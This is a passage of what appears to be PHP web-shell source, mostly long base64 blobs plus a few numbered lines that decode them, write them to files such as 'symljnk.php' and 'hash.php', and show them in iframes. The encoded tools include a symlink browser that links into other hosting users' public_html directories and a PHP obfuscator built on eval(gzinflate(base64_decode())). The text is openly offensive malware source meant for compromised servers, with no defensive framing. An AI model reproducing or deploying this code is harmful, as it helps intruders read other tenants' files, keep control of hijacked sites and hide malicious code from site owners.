PHRyPgoKPHRkPgo8ZGl2IGNsYXNzPSdkb20nPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly93d3cuIi4kc3RyaW5nWzFdWzBdLicvPicuJG5hbWUuJyA8L2E+IDwvZGl2Pgo8L3RkPgoKPHRkPgonLiRVSURbJ25hbWUnXS4iCjwvdGQ+Cgo8dGQ+CjxhIGhyZWY9J3N5bS9yb290L2hvbWUvIi4kVUlEWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbmsgPC9hPgo8L3RkPgoKPC90cj48L2Rpdj4gIjsKZmx1c2goKTsKfQp9Cn0KfQoKZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOyAgIAoKPz4=';
1932 $file = fopen("symljnk.php", "w+");
1933 $write = fwrite($file, base64_decode($perltoolss));
1934 fclose($file);
1935 echo "<iframe src=symljnk.php width=100% height=720px frameborder=0></iframe> ";
1936} elseif ($action == 'hash') {
1937 $file = fopen($dir . "hash.php", "w+");
1938 $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPC9zY3JpcHQ+Cjx0aXRsZT5FbmNvZGUgJiBEZWNvZGU8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cgo8U1RZTEU+CmJvZHkgewpmb250LWZhbWlseTogVGFob21hCgpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovLzI0Lm1lZGlhLnR1bWJsci5jb20vYTFmZDhhZGIyODg3M2YyMDlhZjhlODg5MDU3ODI5ZmQvdHVtYmxyX21zMGVvYXhaNUoxc2JhdnV1bzFfNTAwLmdpZikKfQoKYm9keSB7CmZvbnQtZmFtaWx5OiBUYWhvbWEKfQp0ciB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpjb2xvcjogI0ZGRjsKfQp0ZCB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpjb2xvcjogI0ZGRjsKfQoudGFibGUxIHsKQk9SREVSOiAwcHggQmxhY2s7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI0ZGRjsKfQoudGQxIHsKQk9SREVSOiAwcHg7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKZm9udDogN3B0IFZlcmRhbmE7CmNvbG9yOiBHcmVlbjsKfQoudHIxIHsKQk9SREVSOiAwcHg7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKY29sb3I6ICNGRkY7Cn0KdGFibGUgewpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKY29sb3I6ICNGRkY7Cn0KaW5wdXQgewpib3JkZXIJCQk6IGRhc2hlZCAxcHg7CmJvcmRlci1jb2xvcgkJOiAjMzMzOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogOHB0IFZlcmRhbmE7CmNvbG9yOiBSZWQ7Cn0Kc2VsZWN0IHsKQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjREYwMDAwIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgI0RGMDAwMCAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsKQk9SREVSLWNvbG9yOiAjRkZGOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogOHB0IFZlcmRhbmE7CmNvbG9yOiBSZWQ7Cn0Kc3VibWl0IHsKQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwp3aWR0aDogMzAlOwpjb2xvcjogI0ZGRjsKfQp0ZXh0YXJlYSB7CmJvcmRlcgkJCTogZGFzaGVkIDFweCAjMzMzOwpCQUNLR1JPVU5ELUNPTE9SOiB3aGl0ZTsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICM5OTk7Cn0KQk9EWSB7CglTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1TSEFET1ctY29sb3I6ICNGRkY7IFNDUk9MTEJBUi0zRExJR0hULWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLWNvbG9yOiAjRkZGCm1hcmdpbjogMXB4Owpjb2xvcjogUmVkOwpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL2kxMDY1LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvdTM5MS9Nb25LaXJhL2JnX3pwc2RkdDIxNzZ6LmpwZyk7Cn0KLm1haW4gewptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKfQoudHQgewpiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKfQoKQTpsaW5rIHsKCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQo8L1NUWUxFPgo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPgpmdW5jdGlvbiBoaWRlX2RpdihpZCkKewogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7Cn0KZnVuY3Rpb24gc2hvd19kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsKICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsKfQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpCnsKICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpCiAgICBzaG93X2RpdihpZCk7CiAgZWxzZQogICAgaGlkZV9kaXYoaWQpOwp9Cjwvc2NyaXB0Pic7ID8+CjxodG1sPgoJPGhlYWQ+CgkJPD9waHAgCgkJZWNobyAkaGVhZCA7CgkJZWNobyAnCgo8dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgY2xhc3M9InRiMSIgPgoKCQkJCgogICAgICAgPHRkIHdpZHRoPSIxMDAlIiBhbGlnbj1jZW50ZXIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPgogICAgICAgICAgIDxmb250IGNvbG9yPXJlZCBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+IEVuY29kZSA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPiAmIDwvZm9udD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+IERlY29kZSA8L2ZvbnQ+IDxkaXYgY2xhc3M9ImhlZHIiPiAKCiAgICAgICAgPHRkIGhlaWdodD0iMTAiIGFsaWduPSJsZWZ0IiBjbGFzcz0idGQxIj48L3RkPjwvdHI+PHRyPjx0ZCAKICAgICAgICB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPjxmb250IAogICAgICAgIGNvbG9yPSJyZWQiIGZhY2U9ImNvbWljIHNhbnMgbXMic2l6ZT0iMSI+PGI+IAogICAgICAgIAkJCQkJCiAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAKCic7IAoKPz4KPD9waHAKZWNobyAiIjsKCmlmIChpc3NldCgkX1BPU1RbJ2h0bWxoZXhlbmNvZGUnXSkpCnsKICAgIG1rZGlyKCdoYXNoX3Rvb2xzJywgMDc1NSk7CiAgICBjaGRpcignaGFzaF90b29scycpOwokY29uZmlnc2hlbGwgPSAnQ2p4b2RHMXNQanhvWldGa1BqeHRaWFJoSUdoMGRIQXRaWEYxYVhZOUlrTnZiblJsYm5RdFZIbHdaU0lnWTI5dWRHVnVkRDBpZEdWNGRDOW9kRzFzT3lCamFHRnljMlYwUFVsVFR5MDRPRFU1TFRFaVBnbzhkR2wwYkdVK1NGUk5UQ0JGYm1OdlpHVnlQQzkwYVhSc1pUNEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0S1ltOWtlWHRpWVdOclozSnZkVzVrTFdOdmJHOXlPaUFqTURBd01EQXdPMk52Ykc5eU9pQm5jbUY1TzMwS2RHRmliR1Y3Wm05dWRDMXphWHBsT2lBeE0zQjRPeUJtYjI1MExXWmhiV2xzZVRvZ2RHRm9iMjFoTzMwS2FXNXdkWFF1WjNKdmIzWjVZblYwZEc5dWUyWnZiblF0YzJsNlpUb2dNVFZ3ZUR0amIyeHZjam9nSTJOall6dG1iMjUwTFdaaGJXbHNlVG9nZEdGb2IyMWhPMkpoWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ015TURJd01qQTdZbTl5WkdWeUxXeGxablE2SURGd2VDQnpiMnhwWkNCbmNtVmxianRpYjNKa1pYSXRkRzl3T2lBeGNIZ2djMjlzYVdRZ1ozSmxaVzQ3WW05eVpHVnlMWEpwWjJoME9pQXhjSGdnYzI5c2FXUWdaM0psWlc0N1ltOXlaR1Z5TFdKdmRIUnZiVG9nTVhCNElITnZiR2xrSUdkeVpXVnVPMzBLWm05eWJTQjdZbTl5WkdWeU9pQXhjSGdnYzI5c2FXUWdJekF3TURBd01EdHdZV1JrYVc1bk9pQXhOSEI0TzMwS0xuUmxlSFJoSUh0bWIyNTBMWE5wZW1VNklERTBjSGc3Wm05dWRDMW1ZVzFwYkhrNlZHRm9iMjFoTzJadmJuUXRkMlZwWjJoME9tSnZiR1E3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTUVVd1JUQkZPMkp2Y21SbGNqb2dNWEI0SUhOdmJHbGtJR2R5WldWdU8zZHBaSFJvT2lBeU1EQndlRHRvWldsbmFIUTZJREkxY0hnN1kyOXNiM0k2SUNOalkyTTdmUXBoT214cGJtc3NJR0U2YUc5MlpYSjdZMjlzYjNJNklIZG9hWFJsTzMwS1lUcDJhWE5wZEdWa0xDQmhPbUZqZEdsMlpYdGpiMnh2Y2pvZ2NtVmtPMzBLSTJ0bGJub3RkWEFzSUNOclpXNTZMV1J2ZDI1N2NHRmtaR2x1WnpvMWNIZzdkR1Y0ZEMxaGJHbG5ianBqWlc1MFpYSTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqcGliR0ZqYXp0aWIzSmtaWEk2YzI5c2FXUWdNWEI0SUdkeVpXVnVPMk52Ykc5eU9pQjVaV3hzYjNjN1ptOXVkQzF6YVhwbE9pQXhNSEI0TzJadmJuUXRabUZ0YVd4NU9pQjBhVzFsYm1WM2NtOXRZVzQ3ZlFvamEyVnVlaTExY0h0d1lXUmthVzVuT2lBek1IQjRPMlJwYzNCc1lYazZibTl1WlR0OUNpTnJaVzU2TFhCb2FYUnZjSHRpYjNKa1pYSTZNWEI0TzNSbGVIUXRZV3hwWjI0NlkyVnVkR1Z5TzNCaFpHUnBibWM2TlhCNE8zQnZjMmwwYVc5dU9tWnBlR1ZrTzJKdmRIUnZiVG96TlhCNE8zSnBaMmgwT2pFd2NIZzdZM1Z5YzI5eU9uQnZhVzUwWlhJN1pHbHpjR3hoZVRwdWIyNWxPMlp2Ym5RdGQyVnBaMmgwT2prd01EdDlDand2YzNSNWJHVStDanh6WTNKcGNIUWdkSGx3WlQwaWRHVjRkQzlxWVhaaGMyTnlhWEIwSWo1SlRsOVNSVkU5SjFSeXZ0dGpJSFJwNm00Z2ZxRnVJSEJvbzJrZ2JuNnRjQ0J0NHlCSVZFMU1JSGJnYnlCMGM3N2RibWNnSWtoVVRVd2dINmQxSUhiZ2J5SW5DbFJOVUV3OUlqeHpZM0pwY0hRZ2RIbHdaVDFjSW5SbGVIUXZhbUYyWVhOamNtbHdkRndpUG1SdlkzVnRaVzUwTG5keWFYUmxLQ2RmWDFWT1NWOWZKeWs4WEM5elkzSnBjSFErSWdwbWRXNWpkR2x2YmlCemRXSnRhWFJJYm1Sc2NpZ3BDbnRwWmlnaGQybHVaRzkzTG1WSmJpa0tlMlZKYmoxa2IyTjFiV1Z1ZEM1blpYUkZiR1Z0Wlc1MFFubEpaQ2dpYVc1d2RYUWlLVHRsVDNWMFBXUnZZM1Z0Wlc1MExtZGxkRVZzWlcxbGJuUkNlVWxrS0NKdmRYUndkWFFpS1R0bFUyVnNaV04wUFdSdlkzVnRaVzUwTG1kbGRFVnNaVzFsYm5SQ2VVbGtLQ0p6Wld4bFkzUWlLVHRsVW1WelpYUTlaRzlqZFcxbGJuUXVaMlYwUld4bGJXVnVkRUo1U1dRb0luSmxjMlYwSWlrN2ZRcHBaaWdoWlVsdUxuWmhiSFZsTG14bGJtZDBhQ2tLZTJGc1pYSjBLRWxPWDFKRlVTazdaVWx1TG1adlkzVnpLQ2s3ZlFwbGJITmxDbnRsVTJWc1pXTjBMbVJwYzJGaWJHVmtQV1ZTWlhObGRDNWthWE5oWW14bFpEMWxUM1YwTG1ScGMyRmliR1ZrUFdaaGJITmxPMlZQZFhRdWRtRnNkV1U5VkUxUVRDNXlaWEJzWVdObEtDOWZYMVZPU1Y5Zkx5eGpiMjUyWlhKMFUzUnlhVzVuTWxWdWFXTnZaR1VvWlVsdUxuWmhiSFZsS1NrN2ZRcHlaWFIxY200Z1ptRnNjMlU3ZlFwbWRXNWpkR2x2YmlCeVpYTmxkRWh1Wkd4eUtDa0tlMlZUWld4bFkzUXVaR2x6WVdKc1pXUTlaVkpsYzJWMExtUnBjMkZpYkdWa1BXVlBkWFF1WkdsellXSnNaV1E5ZEhKMVpUdGxTVzR1ZG1Gc2RXVTlaVTkxZEM1MllXeDFaVDBpSWp0OUNtWjFibU4wYVc5dUlHTnZiblpsY25SVGRISnBibWN5Vlc1cFkyOWtaU2h6S1FwN2RtRnlJSFZ1YVZOMGNtbHVaejBpSWl4b1pYaFdZV3dzZFc1cFEyaGhjanRtYjNJb2RtRnlJR2s5TUR0cFBITXViR1Z1WjNSb095c3JhU2tLZTJobGVGWmhiRDFPZFcxaVpYSW9jeTVqYUdGeVEyOWtaVUYwS0drcEtTNTBiMU4wY21sdVp5Z3hOaWs3ZFc1cFEyaGhjajBpWEZ4MUlpc29JakF3TUNJcmFHVjRWbUZzS1M1dFlYUmphQ2d2TG5zMGZTUXZLVnN3WFR0MWJtbFRkSEpwYm1jclBYVnVhVU5vWVhJN2ZRcHlaWFIxY200Z2RXNXBVM1J5YVc1bk8zMDhMM05qY21sd2RENDhjM1I1YkdVZ2RIbHdaVDBpZEdWNGRDOWpjM01pUGp3dmMzUjViR1UrQ2p3aExTMWtaWEJsYm1SaGJuUXRMVDRLQ2dvOGMzUjViR1VnZEhsd1pUMGlkR1Y0ZEM5amMzTWlQaTVqWmkxb2FXUmtaVzRnZXlCa2FYTndiR0Y1T2lCdWIyNWxPeUI5SUM1alppMXBiblpwYzJsaWJHVWdleUIyYVhOcFltbHNhWFI1T2lCb2FXUmtaVzQ3SUgwOEwzTjBlV3hsUGp4emRIbHNaU0IwZVhCbFBTSjBaWGgwTDJOemN5SStQQzl6ZEhsc1pUNDhMMmhsWVdRK0NqeGliMlI1UGdvS1BIUmhZbXhsSUdObGJHeHpjR0ZqYVc1blBTSXdJaUJqWld4c2NHRmtaR2x1WnowaU1DSStJQ0FLUEhSaWIyUjVQangwY2o0Z0lDQWdDZ29LUEhSa0lHbGtQU0p6YVdSZlkyOXVkR1Z1ZENJK0NnbzhabTl5YlNCcFpEMGljSEp2WjNKaGJTSWdZV04wYVc5dVBTSnFZWFpoYzJOeWFYQjBPbXh2WTJGMGFXOXVMbWh5WldZN2RtOXBaQ0F3SWlCdmJuTjFZbTFwZEQwaWNtVjBkWEp1SUhOMVltMXBkRWh1Wkd4eUtDa2lQZ284WkdsMlBqeG1iMjUwSUhOMGVXeGxQU0pqYjJ4dmNqcDNhR2wwWlR0MFpYaDBMWE5vWVdSdmR6b2dNQ0F3SURBdU0yVnRJR2R5WldWdUxEQWdNQ0F3TGpObGJTQm5jbVZsYmpzaVBqeG9NVDVJVkUxTVBDOW1iMjUwUGlBOFptOXVkQ0J6ZEhsc1pUMGlZMjlzYjNJNmQyaHBkR1U3ZEdWNGRDMXphR0ZrYjNjNklEQWdNQ0F3TGpObGJTQmhjWFZoTERBZ01DQXdMak5sYlNCaGNYVmhPeUkrUlc1amIyUmxjand2Wm05dWRENDhMMmd4UGp3dlpHbDJQZ29LQ1R4a2FYWStDZ2tnSUNBZ0lDQWdJRHhrYVhZK1BHWnZiblFnYzNSNWJHVTlJbU52Ykc5eU9uZG9hWFJsTzNSbGVIUXRjMmhoWkc5M09pQXdJREFnTUM0elpXMGdjbVZrTERBZ01DQXdMak5sYlNCeVpXUTdJajQ4WWo1SVZFMU1JRWx1Y0hWME9qd3ZZajQ4TDJadmJuUStQQzlrYVhZK0NpQWdJQ0FnSUNBOGRHVjRkR0Z5WldFZ2FXUTlJbWx1Y0hWMElpQnliM2R6UFNJeE1pSWdZMjlzY3owaU5UQWlJSE4wZVd4bFBTSjNhV1IwYURvZ01UQXdKU0krUEM5MFpYaDBZWEpsWVQ0S0NUd3ZaR2wyUGdrZ0Nna0pJQ0FLSUNBZ0lEeGthWFlnYzNSNWJHVTlJbTFoY21kcGJpMTBiM0E2SURKbGJUc2diV0Z5WjJsdUxXSnZkSFJ2YlRvZ01tVnRJajRnQ2lBZ0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pGYm1OdlpHVWdTRlJOVENJK0NpQWdJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2FXUTlJbkpsYzJWMElpQmthWE5oWW14bFpEMGlaR2x6WVdKc1pXUWlJRzl1WTJ4cFkyczlJbkpsYzJWMFNHNWtiSElvS1NJK0NpQWdJQ0E4TDJScGRqNEtDU0FnSUFrS0NUeGthWFkrQ2drZ0lDQWdJQ0FnSUR4a2FYWStQR1p2Ym5RZ2MzUjViR1U5SW1OdmJHOXlPbmRvYVhSbE8zUmxlSFF0YzJoaFpHOTNPaUF3SURBZ01DNHpaVzBnY21Wa0xEQWdNQ0F3TGpObGJTQnlaV1E3SWo0OFlqNUZibU52WkdWa0lFaFVUVXdnYjNWMGNIVjBPand2WWo0OEwyWnZiblErUEM5a2FYWStDaUFnSUNBZ0lDQThkR1Y0ZEdGeVpXRWdhV1E5SW05MWRIQjFkQ0lnWkdsellXSnNaV1E5SW1ScGMyRmliR1ZrSWlCeWIzZHpQU0l4TWlJZ1kyOXNjejBpTlRBaUlITjBlV3hsUFNKM2FXUjBhRG9nTVRBd0pTSStQQzkwWlhoMFlYSmxZVDRLQ1R3dlpHbDJQZ29KQ2lBZ0lDQThaR2wySUhOMGVXeGxQU0p0WVhKbmFXNHRkRzl3T2lBeFpXMGlQZ29KSUNBZ1BHbHVjSFYwSUdsa1BTSnpaV3hsWTNRaUlHUnBjMkZpYkdWa1BTSmthWE5oWW14bFpDSWdkSGx3WlQwaVluVjBkRzl1SWlCMllXeDFaVDBpVTJWc1pXTjBJRlJsZUhRaUlHOXVZMnhwWTJzOUltVlBkWFF1YzJWc1pXTjBLQ2tpUGlBS0NUd3ZaR2wyUGdrZ0lBa2dJQ0FnSUNBZ0lDQUtQQzltYjNKdFBna0tDZ284TDNSa1BnbzhMM1J5UGdvOEwzUmliMlI1UGp3dmRHRmliR1UrQ2p3dlltOWtlVDQ4TDJoMGJXdysKJzsKCiRmaWxlID0gZm9wZW4oImh0bWxoZXhlbmNvZGUucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9aGFzaF90b29scy9odG1saGV4ZW5jb2RlLnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KCmlmIChpc3NldCgkX1BPU1RbJ2h0bWxwaHAnXSkpCnsKICAgIG1rZGlyKCdoYXNoX3Rvb2xzJywgMDc1NSk7CiAgICBjaGRpcignaGFzaF90b29scycpOwokY29uZmlnc2hlbGwgPSAnUEQ5d2FIQWdJRDgrUEhOMGVXeGxQZ3BtYjI1MGUyWnZiblE2TVRKd2RDQldaWEprWVc1aGZYUnllMkp2Y21SbGNpMXlhV2RvZERvak0yVXpaVE5sSURGd2VDQnpiMnhwWkR0aWIzSmtaWEl0ZEc5d09pTXpaVE5sTTJVZ01YQjRJSE52Ykdsa08ySnZjbVJsY2kxc1pXWjBPaU16WlRObE0yVWdNWEI0SUhOdmJHbGtPMkp2Y21SbGNpMWliM1IwYjIwNkl6TmxNMlV6WlNBeGNIZ2djMjlzYVdRN1kyOXNiM0k2SXpSaFpURXdNSDEwWkh0aWIzSmtaWEl0Y21sbmFIUTZJek5sTTJVelpTQXhjSGdnYzI5c2FXUTdZbTl5WkdWeUxYUnZjRG9qTTJVelpUTmxJREZ3ZUNCemIyeHBaRHRpYjNKa1pYSXRiR1ZtZERvak0yVXpaVE5sSURGd2VDQnpiMnhwWkR0aWIzSmtaWEl0WW05MGRHOXRPaU16WlRObE0yVWdNWEI0SUhOdmJHbGtPMk52Ykc5eU9pTTBZV1V4TURCOWRHRmliR1Y3WW05eVpHVnlPbVJoYzJobFpDQXhjSGdnSXpNek16dGliM0prWlhJdFkyOXNiM0k2STBGRk9ETXdNRHRpWVdOclozSnZkVzVrTFdOdmJHOXlPaU13WXpCak1HTTdZMjlzYjNJNkkwWkdSbjEwWlhoMFlYSmxZWHRpYjNKa1pYSXRjbWxuYUhRNkl6QXdNREF3TVNBeGNIZ2djMjlzYVdRN1ltOXlaR1Z5TFhSdmNEb2pNMlV6WlRObElERndlQ0J6YjJ4cFpEdGliM0prWlhJdGJHVm1kRG9qTTJVelpUTmxJREZ3ZUNCemIyeHBaRHRpYjNKa1pYSXRZbTkwZEc5dE9pTXdNREF3TURFZ01YQjRJSE52Ykdsa08ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNRHRtYjI1ME9rWnBlR1ZrYzNseklHSnZiR1E3WTI5c2IzSTZJems1T1gxQk9teHBibXQ3WTI5c2IzSTZJekE1TUR0MFpYaDBMV1JsWTI5eVlYUnBiMjQ2Ym05dVpYMUJPblpwYzJsMFpXUjdZMjlzYjNJNkl6QTVNRHQwWlhoMExXUmxZMjl5WVhScGIyNDZibTl1WlgxQk9taHZkbVZ5ZTJOdmJHOXlPbEpsWkR0MFpYaDBMV1JsWTI5eVlYUnBiMjQ2Ym05dVpYMUJPbUZqZEdsMlpYdGpiMnh2Y2pwU1pXUTdkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9tNXZibVY5YVc1d2RYUjdZbTl5WkdWeUxYSnBaMmgwT2lNelpUTmxNMlVnTVhCNElITnZiR2xrTzJKdmNtUmxjaTEwYjNBNkl6TmxNMlV6WlNBeGNIZ2djMjlzYVdRN1ltOXlaR1Z5TFd4bFpuUTZJek5sTTJVelpTQXhjSGdnYzI5c2FXUTdZbTl5WkdWeUxXSnZkSFJ2YlRvak0yVXpaVE5sSURGd2VDQnpiMnhwWkR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQTdabTl1ZERveE1YQjBJRlpsY21SaGJtRTdZMjlzYjNJNlVtVmtmV2x1Y0hWMExuTjFZbTFwZEh0amIyeHZjam9qWm1Zd08ySnZjbVJsY2kxamIyeHZjanB5WldSOUNqd3ZjM1I1YkdVK0NqeGliMlI1SUNCaVoyTnZiRzl5UFNJak1HTXdZekJqSWlCMGIzQnRZWEpuYVc0OUlqQWlJR3hsWm5SdFlYSm5hVzQ5SWpBaUlHMWhjbWRwYm5kcFpIUm9QU0l3SWlCdFlYSm5hVzVvWldsbmFIUTlJakFpSUQ0S1BHTmxiblJsY2o0S1BHZzBQanhtYjI1MElHTnZiRzl5UFhKbFpENDhZajVVYjI5c2N5QkZibU52WkdVdlJHVmpiMlJsUEM5aVBqd3ZhRFErUEM5bWIyNTBQZ284Wm05dWRDQmpiMnh2Y2oxbmIyeGtQanhpUGp4MVBrTnZjSGx5YVdkb2RDQXlNREUxSUMwZ1RXOXVTMmx5WVR3dllqNDhMM1UrQ2p3dlptOXVkRDRLUEQ5d2FIQUtRQ1JrWVhSaElEMGdjM1J5YVhCamMyeGhjMmhsY3lna1gxQlBVMVJiSjJSaGRHRW5YU2s3Q21sbUlDaEFKRjlRVDFOVVd5ZHpkV0p0YVhRblhTQTlQU0FuWW1GelpUWTBYMlZ1WTI5a1pTaG5lbVJsWm14aGRHVW9KeWtnZXdvZ0lDQWdKR052WkdVZ1BTQWtYMUJQVTFSYkoyUmhkR0VuWFRzS0lDQWdJQ1JqYjJSbElEMGdJajgrSWlBdUlDUmpiMlJsSUM0Z0lqdy9JanNLSUNBZ0lHWnZjaUFvSkdrZ1BTQXdPeVJwSUR3Z01qc2thU3NyS1NCN0NpQWdJQ0FnSUNBZ0pHTnZaR1VnUFNCaVlYTmxOalJmWlc1amIyUmxLR2Q2WkdWbWJHRjBaU2drWTI5a1pTa3BPd29nSUNBZ0lDQWdJQ1JqYjJSbElEMGdJajgrUEQ4Z1pYWmhiQ2huZW1sdVpteGhkR1VvWW1GelpUWTBYMlJsWTI5a1pTZ25JaUF1SUNSamIyUmxJQzRnSWljcEtTazdJRDgrUEQ4aU93b2dJQ0FnZlFvZ0lDQWdKR1JoZEdFZ1BTQmlZWE5sTmpSZlpXNWpiMlJsS0dkNlpHVm1iR0YwWlNna1kyOWtaU2twT3dwOUlHVnNjMlZwWmlBb1FDUmZVRTlUVkZzbmMzVmliV2wwSjEwZ1BUMGdKMkYxZEc4Z1ozcHBibVpzWVhSbEtHSmhjMlUyTkY5a1pXTnZaR1VvSnlrZ2V3b2dJQ0FnSkdSaGRHRWdQU0J6ZEhKZmNtVndiR0ZqWlNnaVBEOXdhSEFpTENBaUlpd2dKR1JoZEdFcE93b2dJQ0FnSkdSaGRHRWdQU0J6ZEhKZmNtVndiR0ZqWlNnaVBEOGlMQ0FpSWl3Z0pHUmhkR0VwT3dvZ0lDQWdKR1JoZEdFZ1BTQnpkSEpmY21Wd2JHRmpaU2dpUHo0aUxDQWlJaXdnSkdSaGRHRXBPd29nSUNBZ0pHUmhkR0VnUFNCemRISmZjbVZ3YkdGalpTZ2laWFpoYkNJc0lDSmxZMmh2SWl3Z0pHUmhkR0VwT3dwOUlHVnNjMlZwWmlBb1FDUmZVRTlUVkZzbmMzVmliV2wwSjEwZ1BUMGdKMlYyWVd3bktTQjdDaUFnSUNBa1pHRjBZU0E5SUhOMGNsOXlaWEJzWVdObEtDSThQM0JvY0NJc0lDSWlMQ0FrWkdGMFlTazdDaUFnSUNBa1pHRjBZU0E5SUhOMGNsOXlaWEJzWVdObEtDSThQeUlzSUNJaUxDQWtaR0YwWVNrN0NpQWdJQ0FrWkdGMFlTQTlJSE4wY2w5eVpYQnNZV05sS0NJL1BpSXNJQ0lpTENBa1pHRjBZU2s3Q24wZ1pXeHpaV2xtSUNoQUpGOVFUMU5VV3lkemRXSnRhWFFuWFNBOVBTQW5ZbUZ6WlRZMFgyVnVZMjlrWlNnbktTQjdDaUFnSUNBa1kyOWtaU0E5SUNSa1lYUmhPd29nSUNBZ1ptOXlJQ2drYVNBOUlEQTdKR2tnUENBeU95UnBLeXNwSUhzS0lDQWdJQ0FnSUNBa1kyOWtaU0E5SUdKaGMyVTJORjlsYm1OdlpHVW9KR052WkdVcE93b2dJQ0FnSUNBZ0lDUmpiMlJsSUQwZ0ltVjJZV3dvWkdWamIyUmxYMkpoYzJVMk5DZ25JaUF1SUNSamIyUmxJQzRnSWljcEtTSTdDaUFnSUNCOUNpQWdJQ0FrWkdGMFlTQTlJR0poYzJVMk5GOWxibU52WkdVb0pHTnZaR1VwT3dwOUlHVnNjMlZwWmlBb1FDUmZVRTlUVkZzbmMzVmliV2wwSjEwZ1BUMGdKMkpoYzJVMk5GOWtaV052WkdVb0p5a2dld29nSUNBZ0pHUmhkR0VnUFNCaVlYTmxOalJmWkdWamIyUmxLQ1JrWVhSaEtUc0tmUXBsWTJodklDYzhhSFJ0YkQ0S1BHSnZaSGtnWW1kamIyeHZjajBpWW14aFkyc2lQanhqWlc1MFpYSStDanhtYjNKdElHRmpkR2x2YmowaUp5QXVJQ1JmVTBWU1ZrVlNXeWRRU0ZCZlUwVk1SaWRkSUM0Z0p5SWdiV1YwYUc5a1BT